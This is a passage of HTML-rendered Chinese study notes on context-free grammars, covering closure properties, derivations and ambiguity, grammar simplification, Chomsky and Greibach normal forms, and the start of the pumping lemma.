<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-4w0ZVH.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-4w0ZVH.png" alt="image-20200902195526615" loading="lazy" data-wrapped="true"></a></li>
</ul>
</li>
</ul>
<p>上下文无关语言在并、乘积、闭包下是封闭的，在交、补运算下不封闭。 CFL 与 RL 的交是 CFL。</p>
<h3 id="派生方式与二义性"><a href="#派生方式与二义性">派生方式与二义性</a></h3>
<ul>
<li>
<p>极左派生 Leftmost Derivations <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mo>⇒</mo><mrow><mi>l</mi><mi>m</mi></mrow></msub></mrow><annotation encoding="application/x-tex">\Rightarrow_{lm}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5169em;vertical-align:-0.15em;"></span><span class="mrel"><span class="mrel">⇒</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">m</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi></mrow><annotation encoding="application/x-tex">\alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span> 派生过程中每一步都对最左变量进行替换（类似地有极右派生 Rightmost derivations），对应的规约有极左 / 右规约。</p>
<ul>
<li>最右派生 aka 规范派生 Normal Derivation，规范派生产生的句型为规范句型 Normal Sentencial Form</li>
</ul>
</li>
<li>
<p>二义性 Ambiguous Grammar：至少具两棵不同的派生树</p>
</li>
<li>
<p>== 判定 CFG 是否为 Ambiguous <strong>是一个不可解问题</strong>==。</p>
</li>
<li>
<p>解决二义性的方法：增加优先级、增加标志等等</p>
</li>
<li>
<p>固有二义性 Inherent Ambiguity （并非所有语言都具备非二义性文法）</p>
<ul>
<li>形如 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi><mo>=</mo><mo stretchy="false">{</mo><msup><mn>0</mn><mi>n</mi></msup><msup><mn>1</mn><mi>n</mi></msup><msup><mn>2</mn><mi>m</mi></msup><msup><mn>3</mn><mi>m</mi></msup><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">L = \{0^n1^n2^m3^m\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span></span></span></span></span><span class="mord"><span class="mord">3</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span> 的语言具备不同的派生树，具有固有的二义性，例如：</li>
<li>
<img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-TNjtHV.png" alt="image-20200902201120134" style="zoom:33%;" />
</li>
</ul>
</li>
</ul>
<h3 id="cfg-的化简"><a href="#cfg-的化简">CFG 的化简</a></h3>
<ol>
<li>
<p>消除无用符号：</p>
<p>有用符号：X 有效，当存在转移 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><msup><mo>⇒</mo><mo>∗</mo></msup><mi>α</mi><mi>X</mi><mi>β</mi><msup><mo>⇒</mo><mo>∗</mo></msup><mi>w</mi></mrow><annotation encoding="application/x-tex">S \Rightarrow^* \alpha X\beta \Rightarrow^* w</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6887em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel">⇒</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mord mathnormal" style="margin-right:0.05278em;">Xβ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel">⇒</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span></span></span></span></p>
<p>有用符号应当是可生成且可达的，非可达、非可生成的符号都需要被消去</p>
<ul>
<li>Generating: <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi><msup><mo>⇒</mo><mo>∗</mo></msup><mi>w</mi></mrow><annotation encoding="application/x-tex">X⇒^∗ w</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6887em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel">⇒</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span></span></span></span> for some <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>w</mi><mo>∈</mo><msup><mi>T</mi><mo>∗</mo></msup></mrow><annotation encoding="application/x-tex">w∈T^∗</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6887em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span></span></span></span></li>
<li>Reachable: <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><msup><mo>⇒</mo><mo>∗</mo></msup><mi>α</mi><mi>X</mi><mi>β</mi></mrow><annotation encoding="application/x-tex">S⇒^∗ αXβ</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6887em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel">⇒</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mord mathnormal" style="margin-right:0.05278em;">Xβ</span></span></span></span> for some <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><mi>α</mi><mo separator="true">,</mo><mi>β</mi><mo stretchy="false">}</mo><mo>⊆</mo><mo stretchy="false">(</mo><mi>V</mi><mo>∪</mo><mi>T</mi><msup><mo stretchy="false">)</mo><mo>∗</mo></msup></mrow><annotation encoding="application/x-tex">\{α,β\}⊆(V∪T)^∗</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span><span class="mclose">}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⊆</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∪</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span></span></span></span></li>
</ul>
<p>Eg.</p>
<img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-h6iyQv.png" alt="image-20200902225956895" style="zoom: 50%;" />
</li>
<li>
<p>消除空转移</p>
<p>Nullable：A 是可空的当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><msup><mo>⇒</mo><mo>∗</mo></msup><mi>ε</mi></mrow><annotation encoding="application/x-tex">A \Rightarrow^* \varepsilon</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6887em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel">⇒</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">ε</span></span></span></span></p>
<p>计算 nullables：先令 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo stretchy="false">(</mo><mi>G</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mi>A</mi><mi mathvariant="normal">∣</mi><mi>A</mi><mo>→</mo><mi>ε</mi><mo>∈</mo><mi>P</mi><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">n(G) = \{A | A \rightarrow \varepsilon \in P\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mopen">(</span><span class="mord mathnormal">G</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord mathnormal">A</span><span class="mord">∣</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">ε</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mclose">}</span></span></span></span>，递归向上规约得到所有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo stretchy="false">(</mo><mi>G</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">n(G)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mopen">(</span><span class="mord mathnormal">G</span><span class="mclose">)</span></span></span></span></p>
<p>接下来做替换：若 A nullable，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>→</mo><mi>B</mi><mi>A</mi><mi>D</mi></mrow><annotation encoding="application/x-tex">A \rightarrow BAD</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span></span></span></span> 被替换成 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>→</mo><mi>B</mi><mi>A</mi><mi>D</mi><mi mathvariant="normal">∣</mi><mi>B</mi><mi>D</mi></mrow><annotation encoding="application/x-tex">A \rightarrow BAD | BD</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span></span></span></span>，最后消去所有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>→</mo><mi>ε</mi></mrow><annotation encoding="application/x-tex">A \rightarrow \varepsilon</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">ε</span></span></span></span></p>
</li>
<li>
<p>消除单位转移 Unit Production (形如 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>→</mo><mi>B</mi></mrow><annotation encoding="application/x-tex">A \rightarrow B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span>)</p>
<p>先令  <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo stretchy="false">(</mo><mi>G</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mi>A</mi><mo separator="true">,</mo><mi>A</mi><mo stretchy="false">)</mo><mi mathvariant="normal">∣</mi><mi>A</mi><mo>∈</mo><mi>V</mi><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">n(G) = \{(A,A)|A\in V\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mopen">(</span><span class="mord mathnormal">G</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mord">∣</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mclose">}</span></span></span></span>，如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>A</mi><mo separator="true">,</mo><mi>B</mi><mo stretchy="false">)</mo><mo>∈</mo><mi>G</mi></mrow><annotation encoding="application/x-tex">(A,B)\in G</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span>  且 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo>→</mo><mi>C</mi><mo>∈</mo><mi>P</mi></mrow><annotation encoding="application/x-tex">B\rightarrow C \in P</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span> 则将 (A, C) 添加至 G</p>
<p>接下来遍历 n (G)，每一对 (A, B) 如果：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo>→</mo><mi>α</mi></mrow><annotation encoding="application/x-tex">B\rightarrow \alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span> 不是一个单位转移，则添加 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>→</mo><mi>α</mi></mrow><annotation encoding="application/x-tex">A \rightarrow \alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span> 添加至<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>P</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">P_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></p>
</li>
</ol>
<h3 id="范式"><a href="#范式">范式</a></h3>
<h4 id="乔姆斯基范式-chomsky-normal-form-cnf"><a href="#乔姆斯基范式-chomsky-normal-form-cnf">乔姆斯基范式 Chomsky Normal Form CNF</a></h4>
<p>如果 CFG <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi><mo>=</mo><mo stretchy="false">(</mo><mi>V</mi><mo separator="true">,</mo><mi>T</mi><mo separator="true">,</mo><mi>P</mi><mo separator="true">,</mo><mi>S</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">G = (V, T, P, S)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span></span></span></span> 中的所有产生式都有形式：</p>
<p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>→</mo><mi>B</mi><mi>C</mi></mrow><annotation encoding="application/x-tex">A \rightarrow BC</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">BC</span></span></span></span> ，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>→</mo><mi>a</mi></mrow><annotation encoding="application/x-tex">A \rightarrow a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span>，则为 CNF。</p>
<p>乔姆斯基范式中不允许存在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ε</mi></mrow><annotation encoding="application/x-tex">\varepsilon</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">ε</span></span></span></span> 产生式、单一产生式，也不希望含有无用符号。</p>
<ul>
<li>CFL 转换为 CNF：处理所有推导结果长于 2 的，把 a 替换成新的 A，再增加 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>→</mo><mo>−</mo><mi>a</mi></mrow><annotation encoding="application/x-tex">A\rightarrow -a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord mathnormal">a</span></span></span></span>
<ul>
<li>把所有长于 3 的级联分解成两个变量的转移，图示：</li>
<li>
<img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-YjZah6.png" alt="image-20200902232010462" style="zoom:50%;" />
</li>
</ul>
</li>
</ul>
<h4 id="格雷巴赫范式-greibach-normal-form-gnf"><a href="#格雷巴赫范式-greibach-normal-form-gnf">格雷巴赫范式 Greibach Normal Form GNF</a></h4>
<p>如果 CFG <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi><mo>=</mo><mo stretchy="false">(</mo><mi>V</mi><mo separator="true">,</mo><mi>T</mi><mo separator="true">,</mo><mi>P</mi><mo separator="true">,</mo><mi>S</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">G = (V, T, P, S)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">)</span></span></span></span> 中的所有产生式都有形式 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>→</mo><mi>a</mi><mi>α</mi></mrow><annotation encoding="application/x-tex">A \rightarrow a\alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span>，则为 GNF。</p>
<p>注意到右线性文法是一种特殊的 GNF。</p>
<h3 id="cfl-的泵引理"><a href="#cfl-的泵引理">CFL 的泵引理</a></h3>
<p>类似正则语言的泵引理定义如下：</p>
<ul>
